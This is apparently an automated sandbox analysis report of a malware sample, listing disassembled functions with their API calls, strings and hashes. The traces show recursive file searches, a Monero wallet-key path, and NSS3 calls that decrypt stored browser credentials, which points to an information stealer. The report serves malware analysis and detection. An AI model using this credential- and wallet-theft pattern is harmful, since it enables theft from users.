API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 792e527450ca8b8aa7fb63d7e36dac223f03d918859e9aac1555ed4da5dcc68e
Instruction ID: 5a65c4eedb14b3fd191f6b690b2d272393fff8d056f003943c079e456264663e
Opcode Fuzzy Hash: 792e527450ca8b8aa7fb63d7e36dac223f03d918859e9aac1555ed4da5dcc68e
Instruction Fuzzy Hash: 52F1D1709052598FDB24DF64CD48BAAB7B9EF46318F1842A9D809B7741D731AEC4CF90

Function 00B038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B038CC
FindFirstFileA.KERNEL32(?,?), ref: 00B038E3
lstrcat.KERNEL32(?,?), ref: 00B03935
StrCmpCA.SHLWAPI(?,00B10F70), ref: 00B03947
StrCmpCA.SHLWAPI(?,00B10F74), ref: 00B0395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00B03C67
FindClose.KERNEL32(000000FF), ref: 00B03C7C

Strings

%s\*, xrefs: 00B038C0
%s%s, xrefs: 00B03AAD
%s\%s, xrefs: 00B0397A
%s\%s, xrefs: 00B03A6F
%s\%s\%s, xrefs: 00B03A4A

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: c90b81c1301661f59722506d2f6a01f7716d9ad992b1585722a8603fd0057baf
Instruction ID: 24e247416a98420456b30b7c6955462454c08e24b8f8ba38a2ea8be874e231f1
Opcode Fuzzy Hash: c90b81c1301661f59722506d2f6a01f7716d9ad992b1585722a8603fd0057baf
Instruction Fuzzy Hash: BDA131B1A003089BDB24DBA4DC89FEE77BCFB44700F4445C8A64D96191EB759B84CF62

Function 6CB0C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB0C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB0C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB0C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB0C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB0C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB0CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB0CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB0DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB0DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB0DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB0E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0E472

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: b4ca41209f8422f8265e99448f038c2ebbb8adb51604d448662e0e513f5a273a
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 9D33A071E0025ACFCB14CFA8C8806EDBBF2FF49310F298269D955AB795D731A945CB90

Function 00B04570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B04580
RtlAllocateHeap.NTDLL(00000000), ref: 00B04587
wsprintfA.USER32 ref: 00B045A6
FindFirstFileA.KERNEL32(?,?), ref: 00B045BD
StrCmpCA.SHLWAPI(?,00B10FC4), ref: 00B045EB
StrCmpCA.SHLWAPI(?,00B10FC8), ref: 00B04601
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0468B
FindClose.KERNEL32(000000FF), ref: 00B046A0
lstrcat.KERNEL32(?,0076EC38), ref: 00B046C5
lstrcat.KERNEL32(?,0076D3C8), ref: 00B046D8
lstrlen.KERNEL32(?), ref: 00B046E5
lstrlen.KERNEL32(?), ref: 00B046F6

Strings

%s\*, xrefs: 00B0459A
%s\%s, xrefs: 00B0461B
8v, xrefs: 00B046B7

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$8v
API String ID: 671575355-4238589931
Opcode ID: 42a4b24e9958769b716e338b47129aff1d461bd5705f02b5a02d1c238e015091
Instruction ID: 5865cbd5aa2e12d5ffcc70868d275d82b466accfebc53d5033165f34c3c32598
Opcode Fuzzy Hash: 42a4b24e9958769b716e338b47129aff1d461bd5705f02b5a02d1c238e015091
Instruction Fuzzy Hash: 395144B16103189BC724EB74DC89FE977BCAB58300F4045C8B649D6190EF75DB858FA1

Function 6CABFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB2E7B8), ref: 6CABFF81
LeaveCriticalSection.KERNEL32(6CB2E7B8), ref: 6CAC022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAC0240
EnterCriticalSection.KERNEL32(6CB2E768), ref: 6CAC025B
LeaveCriticalSection.KERNEL32(6CB2E768), ref: 6CAC027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAC0D67, 6CAC0D7B, 6CAC0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CABFE99, 6CABFEB7, 6CABFED3, 6CAC0DB8, 6CAC0DD3, 6CAC19B4
<jemalloc>, xrefs: 6CAC0D62, 6CAC0D76, 6CAC0DA7

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: a1db4c232f6141a0afc9abc0bfa77ef9141cb7177bd27ba985a86e57444cb911
Instruction ID: 558cb5923cf48cc5b9ee3d3d9539735970b9c695b26cf4bbd241d6c5d7158318
Opcode Fuzzy Hash: a1db4c232f6141a0afc9abc0bfa77ef9141cb7177bd27ba985a86e57444cb911
Instruction Fuzzy Hash: FCC2C171B057418FD714CF28C980726BBE1BF85328F28C66DE5A98B795D771E881CB82

Function 6CACED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CACEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CACEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAD1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAD1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAD1A3E

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 5142812ac7a3e1cf20045143152840c32c2a261cad967270c83dc2676fe3eece
Instruction ID: 783b19847de0e56ad050fe9ce6ec2c0aa3d7cdc99b525a196feeb20a8542787a
Opcode Fuzzy Hash: 5142812ac7a3e1cf20045143152840c32c2a261cad967270c83dc2676fe3eece
Instruction Fuzzy Hash: C0B33971E01219CFCB14CFA9C890AADB7B2FF49314F1982A9D549AB745D730AD86CF90

Function 00AFED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00AFED3E
FindFirstFileA.KERNEL32(?,?), ref: 00AFED55
StrCmpCA.SHLWAPI(?,00B11538), ref: 00AFEDAB
StrCmpCA.SHLWAPI(?,00B1153C), ref: 00AFEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFF2AE
FindClose.KERNEL32(000000FF), ref: 00AFF2C3

Strings

%s\*.*, xrefs: 00AFED32

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 5788e9367e726c5787bf363a98ba66052ab09efbf420cf18c464fadddf2ddbb1
Instruction ID: cf0d562d6ab7da8edef527a1f28c19547df6aca493241853bb624951b6774a30
Opcode Fuzzy Hash: 5788e9367e726c5787bf363a98ba66052ab09efbf420cf18c464fadddf2ddbb1
Instruction Fuzzy Hash: D3E1B2719113189AEB54FB64DD52EEE77B8AF54300F4089D9B50A620D2EF306F8ACF52

Function 6CACD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD4F2
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD50B

Part of subcall function 6CAACFE0: EnterCriticalSection.KERNEL32(6CB2E784), ref: 6CAACFF6
Part of subcall function 6CAACFE0: LeaveCriticalSection.KERNEL32(6CB2E784), ref: 6CAAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD52E
EnterCriticalSection.KERNEL32(6CB2E7DC), ref: 6CACD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CACD6A6
LeaveCriticalSection.KERNEL32(6CB2E7DC), ref: 6CACD712
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CACD7EA

Strings

<jemalloc>, xrefs: 6CACD827
: (malloc) Error initializing arena, xrefs: 6CACD82C

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: b2fdd4a0dbee6f82e55772222d46952763421bb51c93bf81657e74d0fe37179c
Instruction ID: 1a7a961846f6769e575e7c21c499a85b054e4c42d849e7404050a19cf4753b78
Opcode Fuzzy Hash: b2fdd4a0dbee6f82e55772222d46952763421bb51c93bf81657e74d0fe37179c
Instruction Fuzzy Hash: 1791CF71F447418FD714CF39C59076AB7E1FB89318F19892EE59A87A80DB34E885CB82

Function 00AFDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00B10C2E), ref: 00AFDE5E
StrCmpCA.SHLWAPI(?,00B114C8), ref: 00AFDEAE
StrCmpCA.SHLWAPI(?,00B114CC), ref: 00AFDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFE3E0
FindClose.KERNEL32(000000FF), ref: 00AFE3F2

Strings

\*.*, xrefs: 00AFDE26

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: a75ef3d4a3aaabfe0077efe92ccedef981910d790d18862fd34f0fd78156964f
Instruction ID: 3dfcb8fcbab0b36a95b7b188a6b514347b89adfe040998ad6363905dccab1146
Opcode Fuzzy Hash: a75ef3d4a3aaabfe0077efe92ccedef981910d790d18862fd34f0fd78156964f
Instruction Fuzzy Hash: D7F19E719203189ADB55FB64DD95EEE77B8AF24300F8045D9B50A620D1EF306F8ACF62

Function 00AFC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00AFC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00AFC87C
PK11_GetInternalKeySlot.NSS3 ref: 00AFC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00AFC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00AFC8EB
lstrcat.KERNEL32(?,00B10B46), ref: 00AFC943
lstrcat.KERNEL32(?,00B10B47), ref: 00AFC957
PK11_FreeSlot.NSS3(?), ref: 00AFC961
lstrcat.KERNEL32(?,00B10B4E), ref: 00AFC978

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
